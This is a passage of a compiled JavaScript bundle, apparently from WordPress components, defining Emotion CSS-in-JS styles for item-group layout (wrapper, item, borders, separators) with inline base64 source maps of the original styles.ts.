HRcdCR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHRcdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRcdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0b3V0bGluZS1vZmZzZXQ6IDA7XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGl0ZW1XcmFwcGVyID0gY3NzYFxuXHR3aWR0aDogMTAwJTtcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgaXRlbSA9IGNzc2Bcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0d2lkdGg6IDEwMCU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRtYXJnaW46IDA7XG5cdGNvbG9yOiBpbmhlcml0O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlcmVkID0gY3NzYFxuXHRib3JkZXI6IDFweCBzb2xpZCAkeyBDT05GSUcuc3VyZmFjZUJvcmRlckNvbG9yIH07XG5gO1xuXG5leHBvcnQgY29uc3Qgc2VwYXJhdGVkID0gY3NzYFxuXHQ+ICo6bm90KCBtYXJxdWVlICkgPiAqIHtcblx0XHRib3JkZXItYm90dG9tOiAxcHggc29saWQgJHsgQ09ORklHLnN1cmZhY2VCb3JkZXJDb2xvciB9O1xuXHR9XG5cblx0PiAqOmxhc3Qtb2YtdHlwZSA+ICoge1xuXHRcdGJvcmRlci1ib3R0b20tY29sb3I6IHRyYW5zcGFyZW50O1xuXHR9XG5gO1xuXG5jb25zdCBib3JkZXJSYWRpdXMgPSBDT05GSUcucmFkaXVzU21hbGw7XG5cbmV4cG9ydCBjb25zdCBzcGFjZWRBcm91bmQgPSBjc3NgXG5cdGJvcmRlci1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHJvdW5kZWQgPSBjc3NgXG5cdGJvcmRlci1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuXG5cdD4gKjpmaXJzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuXHR9XG5cblx0PiAqOmxhc3Qtb2YtdHlwZSA+ICoge1xuXHRcdGJvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuXHRcdGJvcmRlci1ib3R0b20tcmlnaHQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0fVxuYDtcblxuY29uc3QgYmFzZUZvbnRIZWlnaHQgPSBgY2FsYygkeyBDT05GSUcuZm9udFNpemUgfSAqICR7IENPTkZJRy5mb250TGluZUhlaWdodEJhc2UgfSlgO1xuXG4vKlxuICogTWF0aDpcbiAqIC0gVXNlIHRoZSBkZXNpcmVkIGhlaWdodCBhcyB0aGUgYmFzZSB2YWx1ZVxuICogLSBTdWJ0cmFjdCB0aGUgY29tcHV0ZWQgaGVpZ2h0IG9mIChkZWZhdWx0KSB0ZXh0XG4gKiAtIFN1YnRyYWN0IHRoZSBlZmZlY3RzIG9mIGJvcmRlclxuICogLSBEaXZpZGUgdGhlIGNhbGN1bGF0ZWQgbnVtYmVyIGJ5IDIsIGluIG9yZGVyIHRvIGdldCBhbiBpbmRpdmlkdWFsIHRvcC9ib3R0b20gcGFkZGluZ1xuICovXG5jb25zdCBwYWRkaW5nWSA9IGBjYWxjKCgkeyBDT05GSUcuY29udHJvbEhlaWdodCB9IC0gJHsgYmFzZUZvbnRIZWlnaHQgfSAtIDJweCkgLyAyKWA7XG5jb25zdCBwYWRkaW5nWVNtYWxsID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0U21hbGwgfSAtICR7IGJhc2VGb250SGVpZ2h0IH0gLSAycHgpIC8gMilgO1xuY29uc3QgcGFkZGluZ1lMYXJnZSA9IGBjYWxjKCgkeyBDT05GSUcuY29udHJvbEhlaWdodExhcmdlIH0gLSAkeyBiYXNlRm9udEhlaWdodCB9IC0gMnB4KSAvIDIpYDtcblxuZXhwb3J0IGNvbnN0IGl0ZW1TaXplcyA9IHtcblx0c21hbGw6IGNzc2Bcblx0XHRwYWRkaW5nOiAkeyBwYWRkaW5nWVNtYWxsIH0gJHsgQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsIH1weDtcblx0YCxcblx0bWVkaXVtOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgcGFkZGluZ1kgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYIH1weDtcblx0YCxcblx0bGFyZ2U6IGNzc2Bcblx0XHRwYWRkaW5nOiAkeyBwYWRkaW5nWUxhcmdlIH0gJHsgQ09ORklHLmNvbnRyb2xQYWRkaW5nWExhcmdlIH1weDtcblx0YCxcbn07XG4iXX0= */");
36072 };
36073 var itemWrapper = false ? {
36074 name: "1bcj5ek",
36075 styles: "width:100%;display:block"
36076 } : {
36077 name: "dcjs67-itemWrapper",
36078 styles: "width:100%;display:block;label:itemWrapper;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE2QzhCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMsIGZvbnQgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCB1bnN0eWxlZEJ1dHRvbiA9ICggYXM6ICdhJyB8ICdidXR0b24nICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRhcHBlYXJhbmNlOiBub25lO1xuXHRcdGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHRiYWNrZ3JvdW5kOiBub25lO1xuXHRcdHRleHQtYWxpZ246IHN0YXJ0O1xuXHRcdHRleHQtZGVjb3JhdGlvbjogJHsgYXMgPT09ICdhJyA/ICdub25lJyA6IHVuZGVmaW5lZCB9O1xuXG5cdFx0c3ZnLFxuXHRcdHBhdGgge1xuXHRcdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHRcdH1cblxuXHRcdCY6aG92ZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHR9XG5cblx0XHQmOmZvY3VzIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdH1cblxuXHRcdCY6Zm9jdXMtdmlzaWJsZSB7XG5cdFx0XHRib3gtc2hhZG93OiAwIDAgMCB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzIClcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0Ly8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0XHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgaXRlbVdyYXBwZXIgPSBjc3NgXG5cdHdpZHRoOiAxMDAlO1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBpdGVtID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHR3aWR0aDogMTAwJTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbjogMDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyZWQgPSBjc3NgXG5cdGJvcmRlcjogMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBzZXBhcmF0ZWQgPSBjc3NgXG5cdD4gKjpub3QoIG1hcnF1ZWUgKSA+ICoge1xuXHRcdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAkeyBDT05GSUcuc3VyZmFjZUJvcmRlckNvbG9yIH07XG5cdH1cblxuXHQ+ICo6bGFzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdH1cbmA7XG5cbmNvbnN0IGJvcmRlclJhZGl1cyA9IENPTkZJRy5yYWRpdXNTbWFsbDtcblxuZXhwb3J0IGNvbnN0IHNwYWNlZEFyb3VuZCA9IGNzc2Bcblx0Ym9yZGVyLXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5gO1xuXG5leHBvcnQgY29uc3Qgcm91bmRlZCA9IGNzc2Bcblx0Ym9yZGVyLXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cblx0PiAqOmZpcnN0LW9mLXR5cGUgPiAqIHtcblx0XHRib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQ+ICo6bGFzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuXHR9XG5gO1xuXG5jb25zdCBiYXNlRm9udEhlaWdodCA9IGBjYWxjKCR7IENPTkZJRy5mb250U2l6ZSB9ICogJHsgQ09ORklHLmZvbnRMaW5lSGVpZ2h0QmFzZSB9KWA7XG5cbi8qXG4gKiBNYXRoOlxuICogLSBVc2UgdGhlIGRlc2lyZWQgaGVpZ2h0IGFzIHRoZSBiYXNlIHZhbHVlXG4gKiAtIFN1YnRyYWN0IHRoZSBjb21wdXRlZCBoZWlnaHQgb2YgKGRlZmF1bHQpIHRleHRcbiAqIC0gU3VidHJhY3QgdGhlIGVmZmVjdHMgb2YgYm9yZGVyXG4gKiAtIERpdmlkZSB0aGUgY2FsY3VsYXRlZCBudW1iZXIgYnkgMiwgaW4gb3JkZXIgdG8gZ2V0IGFuIGluZGl2aWR1YWwgdG9wL2JvdHRvbSBwYWRkaW5nXG4gKi9cbmNvbnN0IHBhZGRpbmdZID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0IH0gLSAkeyBiYXNlRm9udEhlaWdodCB9IC0gMnB4KSAvIDIpYDtcbmNvbnN0IHBhZGRpbmdZU21hbGwgPSBgY2FsYygoJHsgQ09ORklHLmNvbnRyb2xIZWlnaHRTbWFsbCB9IC0gJHsgYmFzZUZvbnRIZWlnaHQgfSAtIDJweCkgLyAyKWA7XG5jb25zdCBwYWRkaW5nWUxhcmdlID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0TGFyZ2UgfSAtICR7IGJhc2VGb250SGVpZ2h0IH0gLSAycHgpIC8gMilgO1xuXG5leHBvcnQgY29uc3QgaXRlbVNpemVzID0ge1xuXHRzbWFsbDogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZU21hbGwgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwgfXB4O1xuXHRgLFxuXHRtZWRpdW06IGNzc2Bcblx0XHRwYWRkaW5nOiAkeyBwYWRkaW5nWSB9ICR7IENPTkZJRy5jb250cm9sUGFkZGluZ1ggfXB4O1xuXHRgLFxuXHRsYXJnZTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZTGFyZ2UgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYTGFyZ2UgfXB4O1xuXHRgLFxufTtcbiJdfQ== */",
36079 toString: _EMOTION_STRINGIFIED_CSS_ERROR__22
36080 };
36081 var item = false ? {
36082 name: "150ruhm",
36083 styles: "box-sizing:border-box;width:100%;display:block;margin:0;color:inherit"
36084 } : {
36085 name: "1izz8ne-item",
36086 styles: "box-sizing:border-box;width:100%;display:block;margin:0;color:inherit;label:item;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrRHVCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMsIGZvbnQgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCB1bnN0eWxlZEJ1dHRvbiA9ICggYXM6ICdhJyB8ICdidXR0b24nICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRhcHBlYXJhbmNlOiBub25lO1xuXHRcdGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHRiYWNrZ3JvdW5kOiBub25lO1xuXHRcdHRleHQtYWxpZ246IHN0YXJ0O1xuXHRcdHRleHQtZGVjb3JhdGlvbjogJHsgYXMgPT09ICdhJyA/ICdub25lJyA6IHVuZGVmaW5lZCB9O1xuXG5cdFx0c3ZnLFxuXHRcdHBhdGgge1xuXHRcdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHRcdH1cblxuXHRcdCY6aG92ZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHR9XG5cblx0XHQmOmZvY3VzIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdH1cblxuXHRcdCY6Zm9jdXMtdmlzaWJsZSB7XG5cdFx0XHRib3gtc2hhZG93OiAwIDAgMCB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzIClcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0Ly8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0XHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgaXRlbVdyYXBwZXIgPSBjc3NgXG5cdHdpZHRoOiAxMDAlO1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBpdGVtID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHR3aWR0aDogMTAwJTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbjogMDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyZWQgPSBjc3NgXG5cdGJvcmRlcjogMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBzZXBhcmF0ZWQgPSBjc3NgXG5cdD4gKjpub3QoIG1hcnF1ZWUgKSA+ICoge1xuXHRcdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAkeyBDT05GSUcuc3VyZmFjZUJvcmRlckNvbG9yIH07XG5cdH1cblxuXHQ+ICo6bGFzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdH1cbmA7XG5cbmNvbnN0IGJvcmRlclJhZGl1cyA9IENPTkZJRy5yYWRpdXNTbWFsbDtcblxuZXhwb3J0IGNvbnN0IHNwYWNlZEFyb3VuZCA9IGNzc2Bcblx0Ym9yZGVyLXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5gO1xuXG5leHBvcnQgY29uc3Qgcm91bmRlZCA9IGNzc2Bcblx0Ym9yZGVyLXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cblx0PiAqOmZpcnN0LW9mLXR5cGUgPiAqIHtcblx0XHRib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQ+ICo6bGFzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuXHR9XG5gO1xuXG5jb25zdCBiYXNlRm9udEhlaWdodCA9IGBjYWxjKCR7IENPTkZJRy5mb250U2l6ZSB9ICogJHsgQ09ORklHLmZvbnRMaW5lSGVpZ2h0QmFzZSB9KWA7XG5cbi8qXG4gKiBNYXRoOlxuICogLSBVc2UgdGhlIGRlc2lyZWQgaGVpZ2h0IGFzIHRoZSBiYXNlIHZhbHVlXG4gKiAtIFN1YnRyYWN0IHRoZSBjb21wdXRlZCBoZWlnaHQgb2YgKGRlZmF1bHQpIHRleHRcbiAqIC0gU3VidHJhY3QgdGhlIGVmZmVjdHMgb2YgYm9yZGVyXG4gKiAtIERpdmlkZSB0aGUgY2FsY3VsYXRlZCBudW1iZXIgYnkgMiwgaW4gb3JkZXIgdG8gZ2V0IGFuIGluZGl2aWR1YWwgdG9wL2JvdHRvbSBwYWRkaW5nXG4gKi9cbmNvbnN0IHBhZGRpbmdZID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0IH0gLSAkeyBiYXNlRm9udEhlaWdodCB9IC0gMnB4KSAvIDIpYDtcbmNvbnN0IHBhZGRpbmdZU21hbGwgPSBgY2FsYygoJHsgQ09ORklHLmNvbnRyb2xIZWlnaHRTbWFsbCB9IC0gJHsgYmFzZUZvbnRIZWlnaHQgfSAtIDJweCkgLyAyKWA7XG5jb25zdCBwYWRkaW5nWUxhcmdlID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0TGFyZ2UgfSAtICR7IGJhc2VGb250SGVpZ2h0IH0gLSAycHgpIC8gMilgO1xuXG5leHBvcnQgY29uc3QgaXRlbVNpemVzID0ge1xuXHRzbWFsbDogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZU21hbGwgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwgfXB4O1xuXHRgLFxuXHRtZWRpdW06IGNzc2Bcblx0XHRwYWRkaW5nOiAkeyBwYWRkaW5nWSB9ICR7IENPTkZJRy5jb250cm9sUGFkZGluZ1ggfXB4O1xuXHRgLFxuXHRsYXJnZTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZTGFyZ2UgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYTGFyZ2UgfXB4O1xuXHRgLFxufTtcbiJdfQ== */",
36087 toString: _EMOTION_STRINGIFIED_CSS_ERROR__22
36088 };
36089 var bordered = /* @__PURE__ */ css("border:1px solid ", config_values_default.surfaceBorderColor, ";" + (false ? "" : ";label:bordered;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwRDJCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMsIGZvbnQgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCB1bnN0eWxlZEJ1dHRvbiA9ICggYXM6ICdhJyB8ICdidXR0b24nICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRhcHBlYXJhbmNlOiBub25lO1xuXHRcdGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHRiYWNrZ3JvdW5kOiBub25lO1xuXHRcdHRleHQtYWxpZ246IHN0YXJ0O1xuXHRcdHRleHQtZGVjb3JhdGlvbjogJHsgYXMgPT09ICdhJyA/ICdub25lJyA6IHVuZGVmaW5lZCB9O1xuXG5cdFx0c3ZnLFxuXHRcdHBhdGgge1xuXHRcdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHRcdH1cblxuXHRcdCY6aG92ZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHR9XG5cblx0XHQmOmZvY3VzIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdH1cblxuXHRcdCY6Zm9jdXMtdmlzaWJsZSB7XG5cdFx0XHRib3gtc2hhZG93OiAwIDAgMCB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzIClcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0Ly8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0XHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgaXRlbVdyYXBwZXIgPSBjc3NgXG5cdHdpZHRoOiAxMDAlO1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBpdGVtID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHR3aWR0aDogMTAwJTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbjogMDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyZWQgPSBjc3NgXG5cdGJvcmRlcjogMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBzZXBhcmF0ZWQgPSBjc3NgXG5cdD4gKjpub3QoIG1hcnF1ZWUgKSA+ICoge1xuXHRcdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAkeyBDT05GSUcuc3VyZmFjZUJvcmRlckNvbG9yIH07XG5cdH1cblxuXHQ+ICo6bGFzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdH1cbmA7XG5cbmNvbnN0IGJvcmRlclJhZGl1cyA9IENPTkZJRy5yYWRpdXNTbWFsbDtcblxuZXhwb3J0IGNvbnN0IHNwYWNlZEFyb3VuZCA9IGNzc2Bcblx0Ym9yZGVyLXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5gO1xuXG5leHBvcnQgY29uc3Qgcm91bmRlZCA9IGNzc2Bcblx0Ym9yZGVyLXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cblx0PiAqOmZpcnN0LW9mLXR5cGUgPiAqIHtcblx0XHRib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAkeyBib3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQ+ICo6bGFzdC1vZi10eXBlID4gKiB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6ICR7IGJvcmRlclJhZGl1cyB9O1xuXHR9XG5gO1xuXG5jb25zdCBiYXNlRm9udEhlaWdodCA9IGBjYWxjKCR7IENPTkZJRy5mb250U2l6ZSB9ICogJHsgQ09ORklHLmZvbnRMaW5lSGVpZ2h0QmFzZSB9KWA7XG5cbi8qXG4gKiBNYXRoOlxuICogLSBVc2UgdGhlIGRlc2lyZWQgaGVpZ2h0IGFzIHRoZSBiYXNlIHZhbHVlXG4gKiAtIFN1YnRyYWN0IHRoZSBjb21wdXRlZCBoZWlnaHQgb2YgKGRlZmF1bHQpIHRleHRcbiAqIC0gU3VidHJhY3QgdGhlIGVmZmVjdHMgb2YgYm9yZGVyXG4gKiAtIERpdmlkZSB0aGUgY2FsY3VsYXRlZCBudW1iZXIgYnkgMiwgaW4gb3JkZXIgdG8gZ2V0IGFuIGluZGl2aWR1YWwgdG9wL2JvdHRvbSBwYWRkaW5nXG4gKi9cbmNvbnN0IHBhZGRpbmdZID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0IH0gLSAkeyBiYXNlRm9udEhlaWdodCB9IC0gMnB4KSAvIDIpYDtcbmNvbnN0IHBhZGRpbmdZU21hbGwgPSBgY2FsYygoJHsgQ09ORklHLmNvbnRyb2xIZWlnaHRTbWFsbCB9IC0gJHsgYmFzZUZvbnRIZWlnaHQgfSAtIDJweCkgLyAyKWA7XG5jb25zdCBwYWRkaW5nWUxhcmdlID0gYGNhbGMoKCR7IENPTkZJRy5jb250cm9sSGVpZ2h0TGFyZ2UgfSAtICR7IGJhc2VGb250SGVpZ2h0IH0gLSAycHgpIC8gMilgO1xuXG5leHBvcnQgY29uc3QgaXRlbVNpemVzID0ge1xuXHRzbWFsbDogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZU21hbGwgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwgfXB4O1xuXHRgLFxuXHRtZWRpdW06IGNzc2Bcblx0XHRwYWRkaW5nOiAkeyBwYWRkaW5nWSB9ICR7IENPTkZJRy5jb250cm9sUGFkZGluZ1ggfXB4O1xuXHRgLFxuXHRsYXJnZTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdZTGFyZ2UgfSAkeyBDT05GSUcuY29udHJvbFBhZGRpbmdYTGFyZ2UgfXB4O1xuXHRgLFxufTtcbiJdfQ== */");
36090 var separated = /* @__PURE__ */ css(">*:not( marquee )>*{border-bottom:1px solid ", config_values_default.surfaceBorderColor, ";}>*:last-of-type>*{border-bottom-color:transparent;}" + (false ? "" : ";label:separated;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE4RDRCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMsIGZvbnQgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCB1bnN0eWxlZEJ1dHRvbiA9ICggYXM6ICdhJyB8ICdidXR0b24nICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRhcHBlYXJhbmNlOiBub25lO1xuXHRcdGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHRiYWNrZ3JvdW5kO